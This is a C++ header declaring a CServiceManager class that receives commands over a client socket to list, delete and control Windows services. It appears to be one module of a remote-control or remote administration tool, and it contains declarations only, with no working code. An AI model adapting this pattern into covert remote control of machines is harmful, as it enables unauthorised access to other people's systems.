2024-06-23 17:36:53 +08:00

30 lines
890 B
C++

// ServiceManager.h: interface for the CServiceManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SERVICEMANAGER_H__728CAF1C_FFB1_433B_B573_C43F13BF8382__INCLUDED_)
#define AFX_SERVICEMANAGER_H__728CAF1C_FFB1_433B_B573_C43F13BF8382__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "..\Manager.h"
class CServiceManager : public CManager
{
public:
CServiceManager(CClientSocket *pClient);
virtual ~CServiceManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
void SendServicesList(DWORD dwScType = SERVICE_WIN32);
private:
LPBYTE getServiceList(DWORD dwScType);
void DeleteService(LPBYTE lpBuffer, UINT nSize);
void MyControlService(LPBYTE lpBuffer ,UINT nType);
DWORD dwServiceType;
};
#endif // !defined(AFX_SERVICEMANAGER_H__728CAF1C_FFB1_433B_B573_C43F13BF8382__INCLUDED_)